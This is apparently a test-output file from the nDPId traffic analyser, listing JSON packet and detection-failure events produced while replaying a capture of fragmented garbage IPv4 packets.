+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914293,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDEAGRKUKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1387,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914305,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhDkAGRKMKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1388,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914319,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEEAGRKEKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1389,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914332,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhEkAGRJ8KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1390,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914343,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFEAGRJ0KAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1391,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914355,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhFkAGRJsKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1392,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914363,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGEAGRJkKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1393,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914377,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhGkAGRJcKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1394,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914389,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHEAGRJUKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1395,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914405,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhHkAGRJMKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1396,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914417,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIEAGRJEKAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1397,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914424,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhIkAGRI8KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1398,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914436,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJEAGRI0KAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1399,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914447,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhJkAGRIsKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1400,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914459,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKEAGRIkKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1401,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914471,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhKkAGRIcKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1402,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914484,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLEAGRIUKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1403,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhLkAGRIMKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1404,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMEAGRIEKAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1405,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhMkAGRH8KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1406,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914563,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNEAGRH0KAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1407,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914576,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhNkAGRHsKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1408,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914588,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOEAGRHkKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1409,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914600,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhOkAGRHcKAAACCoAAAigpKComXiUkI0AjJCVeJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1410,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914613,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPEAGRHUKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1411,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914625,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhPkAGRHMKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1412,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914637,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQEAGRHEKAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1413,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914648,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1414,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914660,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1415,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914671,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1416,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914684,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1417,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914696,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1418,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914709,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1419,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914720,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1420,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914736,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1421,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914748,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1422,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914760,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1423,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914772,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1424,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914784,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1425,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914799,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1426,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914811,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1427,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":1428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244025,"pkt_ts_usec":914823,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":1428,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 